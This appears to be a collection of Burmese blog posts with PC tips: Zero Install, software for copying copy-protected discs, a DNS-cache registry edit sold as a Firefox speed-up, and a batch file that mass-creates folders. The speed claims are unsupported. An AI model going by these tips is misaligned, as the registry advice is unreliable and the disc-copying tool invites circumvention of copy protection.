Portable Applications ေတြကိုလည္းအသံုးျပဳႏုိင္ပါတယ္။Zero Install ကေတာ့ နည္းပညာအသစ္တစ္ခုျဖစ္ပါတယ္။
Zero Install ရဲ ့အားနည္းခ်က္ကေတာ့အသံုးျပဳႏိုင္တဲ့ေဆာ့၀ဲေတြ က အကန္ ့အသတ္ရွိပါတယ္။
Portable App ေတြထက္အားသာတဲ့အခ်က္က ေဆာ့၀ဲေတြကို Update လုပ္စရာမလိုဘဲ ေနာက္ဆံုး Version ကို အျမဲတမ္းအသံုးျပဳႏိုင္တာျဖစ္ၿပီး Administrator Privileges မလို ဘဲသံုးႏုိ္င္ပါတယ္။
Zero Install ကိုေဒါင္းလုပ္လုပ္ဖို ့နဲ ့ အသံုးျပဳႏိုင္မယ့္ ေဆာ့၀ဲေတြကို Zero Install ၀က္ဆိုက္မွာေလ့လာပါ။

Enjoy !
Hnget Nga

အလင္းကမၻာမိသားစုမွ ေတြ့ရွိလို့ ျပန္လည္တင္ျပလိုက္တာပါ

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

DVD ႏွင့္ CD ေတြကိုမိမိကြန္ပ်ဴတာမွာကူးလုိ႕မရရင္ ရေအာင္လုပ္ေပးမယ့္ Software



ကဲဒီတစ္ခါ မိတ္ေဆြမ်ားအားလံုးအတြက္
အခက္အခဲေလးကိုရွင္းေပးခ်င္လို႕ပါဗ်ာ..
မိမိကြန္ပ်ဴတာမွာ DVD & CD ေတြကို
ကူးရင္ကူးလို႕မရျဖစ္ေနသူေတြအတြက္ 
Software ေလးမွ်လိုက္ပါတယ္ခင္ဗ်ာ..
တစ္ခ်ိဳ႕ေခြေတြကကူးလို႕မရေအာင္
လုပ္ထားတဲ့ေခြေတြရွိပါတယ္..အဲဒီအခါ
က်ရင္ဒီေဆာ့၀ဲလ္ေလးနဲ႕သာေဆာ္
ထည့္လိုက္ပါ..အဆင္ေျပပါလိမ့္မယ္ဗ်ာ.
POST BY>>> စစ္ကိုုင္းသား
အဆင္ေျပပါေစ..

ေမာင္ေပါက္< Knowledge Note >
www.maungpauk.org

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Firefox ကို ပိုျပီးျမန္ဆန္ေစေအာင္ Speed တိုးၾကမယ္.


 Firefox Animated Gifs
မဂ္လာပါေနာ္သည္ေန႕ ေရးျဖစ္တဲ့ အေၾကာင္းရာေလးကေတာ့ လူတိုင္းလိုလို အသုံးျပဳေနၾကတဲ့ ေမာ္ဇီလာ
ဆိုတဲ့ Firefox ရဲ႕ အေၾကာင္းေလးပါဘဲ... သူကေတာ့ Firefox ကို ပိုမိုျမန္ဆန္ေစတဲ့ နည္းလမ္ေလးတစ္ခုကို  ရွာေဖြေတြ႕ရွိထားလို႕...ျပန္လည္ မွ်ေ၀လိုက္ျခင္းျဖစ္ပါတယ္... သိထားျပီး သူမ်ားလည္း ေတာ္ေတာ္ မ်ားမ်ား ရွိေနၾကမယ္လို႕ ထင္ပါတယ္.. မသိေသးသူေတြအတြက္ ရည္ရြယ္ပါတယ္..... လုပ္နည္းေလးကလည္း ရိုးရွင္းတာ မို႕ အပန္းမၾကီးတဲ့အတြက္ လုပ္ၾကည့္လုိက္ပါေနာ္

ကဲစမယ္...ပထမဆုံး မိမိတို႕ ကြန္ပ်ဴတာရဲ႕ Runbox ကိုေခၚလိုက္ပါ... Win + R ကိုတြဲကလစ္ျခင္းျဖင့္ ရနိဳင္ပါတယ္..ေနာ္  အိုေက  က်လာတာနဲ႕ အဲထဲမွာ regedit  ဆိုျပီးေရးထည့္ေပးလိုက္ပါ ေနာက္ ok..

ကဲ ျပီးတာနဲ႕ ေအာက္မွာ ျပထားတဲ့ Registry Editor ဇယားက်လာပါျပီ.. အဲထဲမွာ ျပထားသလို နံပါတ္ စဥ္တိုင္း ကလစ္ေပးသြားလုိက္ပါေနာ္....သည္လိုေလးေပါ့ေနာ္...
HKEY_LOCAL_MACHINE\   SYSTEM\   CurrentControlSet\  Services\   Dnscache\

ေနာက္ထပ္ ဆက္ကရစ္ရန္ ရွိပါေသးတယ္ေနာ္ မျပီးေသးပါ  ဇယားနံပါတ္  ( ၂ ) လာပါ့မယ္ေနာ္...
ပုံမွာ ျပထားသလို နံပါတ္ ( ၆ ) ထိကလစ္ျပီးတာနဲ႕ ညာဘက္က အကြက္ထဲကို ၾကည့္လိုက္ပါ... ဖိုင္ေလး ႏွစ္ခု  သာရွိေနရမွၾျဖစ္ပါတယ္... ယခု က်ေနာ္ ျပထားေသာ ဖိုင္ ေလးခု ျဖစ္ေနျခင္းဟာ...ကြ်န္ေတာ္ Firefox Speed ကို တိုးထားလို႕ ျဖစ္ပါတယ္... မိမိတို႕လည္း ထို႕နည္းတူ ထိုင္ေလး ေလးခု ျဖစ္ေနေအာင္ လုပ္ေပးရမွာ ျဖစ္ပါတယ္...အမွန္က Speed တိုးျပီးတာနဲ႕  မိမိတို႕ အေပၚကပုံ ေနရာျပန္သြားၾကည့္တဲ့အခါ  စုစုေပါင္း ဖိုင္  ( ၆ ) ဖိုင္ျဖစ္ေနရပါမယ္.. က်ေနာ္က ၂ ခု ဖ်က္မိထားလို႕  ၄ ခုဘဲက်န္ေနတာ...ေိေိ... ကဲ.. ေအာက္မွာ...
 
မိမိတို႕ ကြန္ပ်ဴတာက Notepad  ကိုဖြင့္လုိက္ပါ  ဖြင့္ျပီးတာနဲ႕  ေအာက္ကေပးထားတဲ့ ကုဒ္ေတြ ယူထည့္ပါ


Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d
အိုေက ထည့္ျပီးတာနဲ႕  ေဆ့ၾကမယ္ေနာ္  ေဆ့ တဲံအခါ အေပၚပုံျပထားသလို  file ကိုကလစ္ပါ.. save as ဆိုတာကိုကလစ္ပါ....ေအာက္မွာ ၾကည့္လုိက္ပါ   ေဆ့တဲ့ အခါမွာ file name ဆိုတဲ့ေနရာမွာ မျဖစ္မေန
dnscache.reg   ဆိုတာနဲ႕ ထည့္ေဆ့ေပးရမွာျဖစ္ပါတယ္...ေနရာကိုေတာ့ မိမိတို႕ Desktop ေရါးေပးပါ။

အိုေကပါ... ဒါဆို save ေပးလိုက္လို႕ရပါျပီေနာ္... အဲလို ေဆ့လုိက္တာနဲ႕ မိမိတို႕ ေဆ့ထားတဲ့ ဖိုင္ေလး Desktop ေပၚၾကည့္လုိက္ပါေနာ္...
ကဲ မိမိတို႕ ျမင္ေနရတဲ့ ဖိုင္ေလးကို ႏွစ္ခ်က္ကလစ္ျပီး run  ေပးလိုက္ပါေနာ္  ျပီးတာနဲ႕

Reg ဖိုင္ေလးကို Run ၿပီးတာနဲ႔  HKEY_LOCAL_MACHINE\   SYSTEM\   CurrentControlSet\  Services\   Dnscache\   Parameters ဆိုတဲ့ ေနရာရဲ႕ ညာဘက္ အကြက္ထဲမွာ ဖိုင္ (၄)ဖိုင္ တိုးတာၿပီး အားလံုးေပါင္း (၆) ဖိုင္ ျဖစ္သြားပါလိမ့္မယ္။

ဒါဆိုရင္ေတာ့ Browser ကို Speed ျမွင့္လို႔ ၿပီးသြားပါၿပီ။ Registry ကို ျပင္တဲ့အတြက္ ကြန္ပ်ဴတာကို Restart လုပ္ေပးဖို႔ လိုပါလိမ့္မယ္။

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Folder ေပါင္း ေသာင္းေျခာက္ေထာင္ေလာက္ကုိ စကၠန္႔ပုိင္း အတြင္းမွာ ဖန္တီးမယ္


ကြန္ပ်ဴတာထဲမွာ Folder ေတြ အမ်ားႀကီးကုိ စကၠန္႔ပုိင္းအတြင္းမွာ ဖန္တီးႏုိင္ဖုိ႔ အတြက္ bat ကုဒ္ေလး ျဖစ္
ပါတယ္။ ဖုိဒါေတြအမ်ားႀကီး လုိအပ္သူတုိ႔အတြက္ေတာ့ အဆင္ေျပမွာပါ။

ကဲ ! စလုိက္ၾကရေအာင္ !

 Notepad တစ္ခုကုိ ဖြင့္ၿပီး ေအာက္က ကုဒ္ေလးေတြကုိ ႐ုိက္ထည့္ပါ။


ၿပီးရင္ tricks.bat ဆုိတဲ့ အမည္ေလးနဲ႔ သိမ္းလုိက္ပါ။ Save as Type ေနရာမွာ All Files လုိ႔ ေရြးထားေနာ္။
အဲ့ဒိ tricks.bat ဆုိတာေလးကုိ Document ထဲမွာ သိမ္းထားတယ္ဆုိပါစုိ႔။ Document ထဲမွာပဲ run လုိက္
မယ္ဆုိရင္ Document ထဲမွာ ဖုိဒါေတြ အမ်ားႀကီး အမ်ားႀကီး တည္ေဆာက္ၿပီး ျဖစ္လာမွာပါ။
တစ္စကၠန္႔ေလာက္ပဲ run လုိက္ၿပီး run ေနတဲ့ tricks.bat ေလးကုိ ပိတ္လုိက္ပါ။ မဟုတ္ရင္ ဖုိဒါေတြ အမ်ားႀကီး ကုိ ျပန္ဖ်က္ေနရလိမ့္မယ္ေနာ္။
က်ေနာ့္ရဲ့ညီေလး ထီလာသား  IT Field Net Work ကေနယူလာေပးတာပါ..

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS